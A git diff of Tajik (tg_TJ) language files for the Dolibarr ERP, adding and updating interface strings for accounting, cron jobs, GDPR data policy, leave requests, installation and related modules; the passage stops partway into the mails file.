-ACCOUNTING_VAT_SOLD_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои ААИ оид ба фурӯш (агар дар танзимоти луғати ААИ муайян нашуда бошад, истифода мешавад) -ACCOUNTING_VAT_BUY_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои андоз аз арзиши иловашуда ҳангоми харид (агар дар танзимоти луғати ААИ муайян нашуда бошад) истифода мешавад -ACCOUNTING_VAT_PAY_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои пардохти ААИ -ACCOUNTING_ACCOUNT_CUSTOMER=Ҳисоби баҳисобгирӣ барои муштариёни сеюм истифода мешавад +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Ҳисоби баҳисобгирии муҳосибӣ, ки дар корти тарафи сеюм муайян карда шудааст, танҳо барои баҳисобгирии зерпардохт истифода мешавад. Агар он ҳисоби махсуси баҳисобгирии муштариён дар шахси сеюм муайян карда нашуда бошад, он барои китоби умумӣ ва ҳамчун арзиши пешфарзии баҳисобгирии Subledger истифода мешавад. -ACCOUNTING_ACCOUNT_SUPPLIER=Ҳисоби баҳисобгирӣ барои фурӯшандагони сеюм истифода мешавад +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Ҳисоби баҳисобгирии муҳосибӣ, ки дар корти тарафи сеюм муайян карда шудааст, танҳо барои баҳисобгирии зерпардохт истифода мешавад. Ин барои китоби умумӣ ва ҳамчун арзиши пешфарзии баҳисобгирии Subledger истифода мешавад, агар ҳисоби баҳисобгирии муҳосибии фурӯшанда дар шахси сеюм муайян карда нашуда бошад. ConfirmCloneTax=Тасдиқи клони андози иҷтимоӣ/фискалӣ ConfirmCloneVAT=Клони эъломияи андоз аз арзиши иловашударо тасдиқ кунед @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/tg_TJ/contracts.lang b/htdocs/langs/tg_TJ/contracts.lang index 6bf8354996e..d6e34f29b39 100644 --- a/htdocs/langs/tg_TJ/contracts.lang +++ b/htdocs/langs/tg_TJ/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Шартномаҳо/Обунаҳо ContractsAndLine=Шартҳо ва хатти шартномаҳо Contract=Шартнома ContractLine=Хатти шартнома +ContractLines=Contract lines Closing=Бастани NoContracts=Шартнома нест MenuServices=Хизматҳо @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Шумо мутмаин ҳастед, ки мехоҳ MoveToAnotherContract=Хидматро ба шартномаи дигар гузаронед. ConfirmMoveToAnotherContract=Ман шартномаи нави мақсаднокро интихоб кардам ва тасдиқ мекунам, ки ин хидматро ба ин шартнома интиқол додан мехоҳам. ConfirmMoveToAnotherContractQuestion=Интихоб кунед, ки дар кадом шартномаи мавҷуда (ҳамон як шахси сеюм) шумо мехоҳед ин хидматро ба он интиқол диҳед? -PaymentRenewContractId=Навсозии хати шартнома (рақами %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Муҳлати тамомшави NoExpiredServices=Хидматҳои фаъоле, ки мӯҳлати истифодаашон гузаштааст, вуҷуд надорад ListOfServicesToExpireWithDuration=Рӯйхати хидматҳо дар %s рӯз ба охир мерасад @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Имзои шартномаи тамо HideClosedServiceByDefault=Пинҳон кардани хидматҳои пӯшида бо нобаёнӣ ShowClosedServices=Хидматҳои пӯшида нишон диҳед HideClosedServices=Хидматҳои пӯшида +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/tg_TJ/cron.lang b/htdocs/langs/tg_TJ/cron.lang index 271f9c614da..ccd6276e6a6 100644 --- a/htdocs/langs/tg_TJ/cron.lang +++ b/htdocs/langs/tg_TJ/cron.lang @@ -26,7 +26,7 @@ CronCommand=Фармон CronList=Корҳои ба нақша гирифташуда CronDelete=Корҳои ба нақша гирифташударо нест кунед CronConfirmDelete=Шумо мутмаин ҳастед, ки мехоҳед ин корҳои ба нақша гирифташударо нест кунед? -CronExecute=Оғози кори ба нақша гирифташуда +CronExecute=Launch now CronConfirmExecute=Шумо мутмаин ҳастед, ки мехоҳед ин корҳои таъиншударо ҳозир иҷро кунед? CronInfo=Модули кории ба нақша гирифташуда имкон медиҳад, ки ҷойҳои корӣ ба таври худкор иҷро карда шаванд. Корҳоро инчунин дастӣ оғоз кардан мумкин аст. CronTask=Айюб @@ -58,7 +58,7 @@ CronNote=Шарҳ CronFieldMandatory=Майдонҳои %s ҳатмӣ мебошанд CronErrEndDateStartDt=Санаи анҷом наметавонад пеш аз санаи оғоз бошад StatusAtInstall=Ҳолати насби модул -CronStatusActiveBtn=Ҷадвал +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Хомӯш кардан CronTaskInactive=Ин кор ғайрифаъол аст (ба нақша гирифта нашудааст) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Ба менюи " Home - Восит JobDisabled=Кор хомӯш карда шудааст MakeLocalDatabaseDumpShort=Захираи пойгоҳи додаҳои маҳаллӣ MakeLocalDatabaseDump=Як партовгоҳи пойгоҳи додаҳои маҳаллиро эҷод кунед. Параметрҳо инҳоянд: фишурдасозӣ ('gz' ё 'bz' ё 'ҳеҷ'), навъи нусхабардорӣ ('mysql', 'pgsql', 'auto'), 1, 'auto' ё номи файл барои сохтан, шумораи файлҳои захиравӣ барои нигоҳ доштан +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Диққат, бо мақсади иҷроиш, кадом санаи навбатии иҷрои корҳои имконпазир бошад, ҷойҳои кории шумо то ҳадди аксар %s ба таъхир гузошта мешаванд. DATAPOLICYJob=Тозакунандаи маълумот ва анонимайзер JobXMustBeEnabled=Job %s бояд фаъол карда шавад +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Охирин кори ба нақша гирифташуда NextScheduledJobExecute=Кори навбатии ба нақша гирифташуда барои иҷро NumberScheduledJobError=Шумораи ҷойҳои кории ба нақша гирифташуда +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/tg_TJ/datapolicy.lang b/htdocs/langs/tg_TJ/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/tg_TJ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/tg_TJ/ecm.lang b/htdocs/langs/tg_TJ/ecm.lang index 56da691bfb8..6c9872f3c82 100644 --- a/htdocs/langs/tg_TJ/ecm.lang +++ b/htdocs/langs/tg_TJ/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Феҳристи дастӣ ECMSectionAuto=Феҳристи автоматӣ ECMSectionsManual=Дарахти дастӣ ECMSectionsAuto=Дарахти автоматӣ +ECMSectionsMedias=Medias tree ECMSections=Директорияҳо ECMRoot=ECM решавӣ ECMNewSection=Феҳристи нав @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Шумораи файлҳо дар зерфеҳристҳо ECMCreationUser=Офаридгор ECMArea=Минтақаи DMS/ECM ECMAreaDesc=Минтақаи DMS / ECM (Системаи идоракунии ҳуҷҷатҳо / Идоракунии мундариҷаи электронӣ) ба шумо имкон медиҳад, ки ҳама гуна ҳуҷҷатҳоро дар Dolibarr зуд захира, мубодила ва ҷустуҷӯ кунед. -ECMAreaDesc2=* Ҳангоми илова кардани ҳуҷҷатҳо аз корти унсурҳо директорияҳои автоматӣ пур карда мешаванд.
      * Маълумотномаҳои дастиро барои сабт кардани ҳуҷҷатҳое, ки ба унсури мушаххас иртибот надоранд, истифода бурдан мумкин аст. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Феҳристи %s нест карда шуд. ECMSectionWasCreated=Феҳристи %s сохта шудааст. ECMSearchByKeywords=Ҷустуҷӯ аз рӯи калимаҳои калидӣ diff --git a/htdocs/langs/tg_TJ/eventorganization.lang b/htdocs/langs/tg_TJ/eventorganization.lang index cb9a53dada5..ca957f68246 100644 --- a/htdocs/langs/tg_TJ/eventorganization.lang +++ b/htdocs/langs/tg_TJ/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Event organization Settings=Танзимот EventOrganizationSetupPage = Саҳифаи танзими ташкили чорабинӣ EVENTORGANIZATION_TASK_LABEL = Нишони вазифаҳо барои ба таври худкор эҷод кардани лоиҳа ҳангоми тасдиқи лоиҳа -EVENTORGANIZATION_TASK_LABELTooltip = Вақте, ки шумо тасдиқи чорабинии муташаккил, баъзе вазифаҳои мумкин аст ба таври худкор дар ин лоиҳа

      Масалан офарида:
      Ирсол даъвати Конфронси Call барои Хаймаи Ирсол

      гиред даъват конфронсҳои
      Гирифтани даъват Хаймаи обуна Open ба чорабиниҳо барои ҳозирин
      Ирсол
      ёдрас кардани чорабинӣ ба баромадкунандагон +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Категория барои илова кардан ба шахсони сеюм, вақте ки касе конфронс пешниҳод мекунад, ба таври худкор таъсис дода мешавад EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Категория барои ба шахсони сеюм илова кардан ба таври худкор ҳангоми пешниҳоди стенд офарида мешавад EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Шаблон почтаи электронӣ барои фиристодани пас аз гирифтани пешниҳоди конфронс. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Конфронс ё Бут +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = Конфронс ё Бут ConferenceOrBoothTab = Конфронс ё Бут AmountPaid = Amount paid DateOfRegistration = Date of registration ConferenceOrBoothAttendee = Иштирокчии конфронс ё Бут +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = Рӯйхати конфронсҳои пешниҳодшуда -ListOfSuggestedBooths = Рӯйхати қуттиҳои пешниҳодшуда -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Конфронси навро пешниҳод кунед SuggestBooth = Хайма пешниҳод кунед ViewAndVote = Воқеаҳои пешниҳодшударо бубинед ва овоз диҳед PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = Калиди амният нодуруст ё гум шудааст -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Ин конфронс аз %s оғоз шуда, дар %s ба охир мерасад. ConferenceAttendeeFee = Пардохти иштирокчиёни конфронс барои ин чорабинӣ: '%s', ки аз %s то %s рух медиҳад. BoothLocationFee = Ҷойгоҳи стенд барои ин чорабинӣ: '%s', ки аз %s то %s рух медиҳад @@ -129,7 +133,7 @@ LabelOfconference=Нишондиҳандаи конфронс ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s бояд пеш аз %s бошад DateMustBeAfterThan=%s бояд пас аз %s бошад - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registration OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = Овози шумо қабул шуд. AlreadyVoted = Шумо аллакай ба ин чорабинӣ овоз додед. VoteError = Ҳангоми овоздиҳӣ хато рух дод, лутфан бори дигар кӯшиш кунед. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event Attendee = Иштирокчӣ PaymentConferenceAttendee = Пардохти иштирокчиёни конфронс @@ -161,7 +166,9 @@ PaymentBoothLocation = Пардохти маҳалли ҷойгиршавӣ DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/tg_TJ/holiday.lang b/htdocs/langs/tg_TJ/holiday.lang index 0b03fd4cea4..37a47013060 100644 --- a/htdocs/langs/tg_TJ/holiday.lang +++ b/htdocs/langs/tg_TJ/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Тарк +Holidays=Leaves +Holiday=Leave CPTitreMenu=Тарк MenuReportMonth=Изҳороти ҳармоҳа MenuAddCP=Дархости рухсатии нав +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Шумо бояд модули таркро барои дидани ин саҳифа фаъол созед. AddCP=Дархости рухсатӣ диҳед DateDebCP=Саршавии Сана @@ -56,6 +58,7 @@ ConfirmDeleteCP=Ҳазфи ин дархости рухсатиро тасдиқ ErrorCantDeleteCP=Хато, ки шумо ҳуқуқи нест кардани ин дархости рухсатиро надоред. CantCreateCP=Шумо ҳақ надоред, ки дархости рухсатӣ диҳед. InvalidValidatorCP=Шумо бояд тасдиқкунандаи дархости рухсатии худро интихоб кунед. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Шумо бояд санаи оғозро интихоб кунед. NoDateFin=Шумо бояд санаи анҷомро интихоб кунед. ErrorDureeCP=Дархости рухсатии шумо рӯзи кориро дарбар намегирад. @@ -79,6 +82,8 @@ MotifCP=Сабаб UserCP=Истифодабаранда ErrorAddEventToUserCP=Ҳангоми илова кардани рухсатии истисноӣ хато рух дод. AddEventToUserOkCP=Илова ба рухсатии истисноӣ ба анҷом расид. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Дидани сабтҳои тағирот LogCP=Сабти ҳамаи навсозиҳо ба "Тавозуни рухсатӣ" ActionByCP=Навсозӣ аз ҷониби @@ -86,6 +91,13 @@ UserUpdateCP=Навсозӣ барои PrevSoldeCP=Тавозуни қаблӣ NewSoldeCP=Тавозуни нав alreadyCPexist=Дар ин давра дархости рухсатӣ аллакай анҷом дода шудааст. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Рӯзи оғози дархости рухсатӣ LastDayOfHoliday=Анҷоми рӯзи дархости рухсатӣ BoxTitleLastLeaveRequests=Охирин дархостҳои тағирёфтаи %s @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s одатан рӯзи корӣ нест BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/tg_TJ/install.lang b/htdocs/langs/tg_TJ/install.lang index ac851fed382..c3a91593d3b 100644 --- a/htdocs/langs/tg_TJ/install.lang +++ b/htdocs/langs/tg_TJ/install.lang @@ -51,7 +51,6 @@ DatabaseName=Номи пойгоҳи додаҳо DatabasePrefix=Префикси ҷадвали пойгоҳи додаҳо DatabasePrefixDescription=Префикси ҷадвали пойгоҳи додаҳо. Агар холӣ бошад, пешфарз ба llx_. AdminLogin=Ҳисоби корбар барои соҳиби пойгоҳи додаҳои Dolibarr. -PasswordAgain=Тасдиқи паролро дубора нависед AdminPassword=Рамз барои соҳиби пойгоҳи додаҳои Dolibarr. CreateDatabase=Базаи маълумот эҷод кунед CreateUser=Ҳисоби корбар эҷод кунед ё дар пойгоҳи додаҳои Dolibarr иҷозати ҳисоби корбар диҳед @@ -89,7 +88,7 @@ LoginAlreadyExists=Аллакай вуҷуд дорад DolibarrAdminLogin=Вуруд ба администратор Dolibarr AdminLoginAlreadyExists=Ҳисоби мудири Dolibarr ' %s ' аллакай мавҷуд аст. Баргардед, агар шумо мехоҳед дигареро эҷод кунед. FailedToCreateAdminLogin=Ҳисоби мудири Dolibarr эҷод нашуд. -WarningRemoveInstallDir=Огоҳӣ, бо сабабҳои амниятӣ, пас аз анҷом ёфтани насб ё навсозӣ, шумо бояд файли install.lock -ро ба феҳристи ҳуҷҷатҳои Dolibarr илова кунед, то дубора истифодаи тасодуфӣ/зарароваронаи асбобҳои насбкуниро пешгирӣ кунед. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Дар ин PHP дастрас нест ChoosedMigrateScript=Скрипти муҳоҷиратро интихоб кунед DataMigration=Муҳоҷирати пойгоҳи додаҳо (маълумот) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Вариантҳои дастнорасро пинҳон ErrorFoundDuringMigration=Дар ҷараёни муҳоҷират хато (ҳо) гузориш дода шуданд, бинобарин қадами оянда дастрас нест. Барои нодида гирифтани хатогиҳо, шумо метавонед ин ҷо клик кунед , аммо барнома ё баъзе хусусиятҳо то он даме, ки хатогиҳо ҳал нашаванд, дуруст кор намекунанд. YouTryInstallDisabledByDirLock=Барнома кӯшиш кард, ки худро такмил диҳад, аммо саҳифаҳои насбкунӣ/навсозӣ барои амният ғайрифаъол карда шудаанд (директория бо суффикси .lock номида шудааст).
      YouTryInstallDisabledByFileLock=Барнома кӯшиш кард, ки худсозӣ кунад, аммо саҳифаҳои насб/навсозӣ барои амният ғайрифаъол карда шуданд (бо мавҷудияти файли қулфи install.lock дар феҳристи ҳуҷҷатҳои dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Барои рафтан ба аризаи худ ин ҷо клик кунед ClickOnLinkOrRemoveManualy=Агар навсозӣ идома дошта бошад, интизор шавед. Дар акси ҳол, истиноди зеринро клик кунед. Агар шумо ҳамеша ҳамон як саҳифаро бинед, шумо бояд файли install.lock -ро аз директорияи ҳуҷҷатҳо хориҷ кунед/номгузорӣ кунед. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Бор карда шуд FunctionTest=Санҷиши функсия +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/tg_TJ/interventions.lang b/htdocs/langs/tg_TJ/interventions.lang index 0a62b7ca0e4..49ce4132c68 100644 --- a/htdocs/langs/tg_TJ/interventions.lang +++ b/htdocs/langs/tg_TJ/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Соатҳо ва дақиқаҳоро дар ма InterventionStatistics=Омори мудохила NbOfinterventions=Шумораи кортҳои мудохила NumberOfInterventionsByMonth=Шумораи кортҳои мудохила аз рӯи моҳ (санаи тасдиқ) -AmountOfInteventionNotIncludedByDefault=Маблағи мудохила бо нобаёнӣ ба фоида дохил карда намешавад (дар аксари ҳолатҳо, ҷадвалҳои вақт барои ҳисоб кардани вақти сарфшуда истифода мешаванд). Илова кардани PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT ба 1 ба home-setup-other барои дохил кардани онҳо. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID мудохила InterRef=Дахолат дахолат InterDateCreation=Дахолати эҷоди сана @@ -66,3 +66,7 @@ RepeatableIntervention=Шаблон мудохила ToCreateAPredefinedIntervention=Барои эҷоди мудохилаи пешакӣ ё такроршаванда, як дахолати умумӣ эҷод кунед ва онро ба қолаби мудохила табдил диҳед ConfirmReopenIntervention=Шумо мутмаин ҳастед, ки дахолати %s боз кардан мехоҳед? GenerateInter=Тавлиди дахолат +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/tg_TJ/loan.lang b/htdocs/langs/tg_TJ/loan.lang index ae1ca888f32..5f167be22f8 100644 --- a/htdocs/langs/tg_TJ/loan.lang +++ b/htdocs/langs/tg_TJ/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Агар шумо ҷадвалро истифода баред, шумо наметавонед фоизҳоро тағир диҳед # Admin ConfigLoan=Танзимоти қарзи модул -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Сармояи ҳисоби баҳисобгирӣ бо нобаёнӣ -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Фоизи суратҳисоби баҳисобгирӣ бо нобаёнӣ -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Суғуртаи суратҳисоби баҳисобгирӣ бо нобаёнӣ +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Таҳрири ӯҳдадориҳои молиявӣ diff --git a/htdocs/langs/tg_TJ/mailmanspip.lang b/htdocs/langs/tg_TJ/mailmanspip.lang index 8c7b1595304..d18f8b56846 100644 --- a/htdocs/langs/tg_TJ/mailmanspip.lang +++ b/htdocs/langs/tg_TJ/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Санҷиши обуна бомуваффақият иҷ MailmanDeletionSuccess=Санҷиши обунашавӣ бомуваффақият иҷро шуд SynchroMailManEnabled=Навсозии почтаи электронӣ иҷро карда мешавад SynchroSpipEnabled=Навсозии Spip иҷро карда мешавад -DescADHERENT_MAILMAN_ADMINPW=Пароли администратор +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL барои обунаҳои почта DescADHERENT_MAILMAN_UNSUB_URL=URL барои обунаҳои почтаи электронӣ DescADHERENT_MAILMAN_LISTS=Рӯйхатҳо барои сабти автоматии аъзоёни нав (бо вергул ҷудо карда шудаанд) diff --git a/htdocs/langs/tg_TJ/mails.lang b/htdocs/langs/tg_TJ/mails.lang index 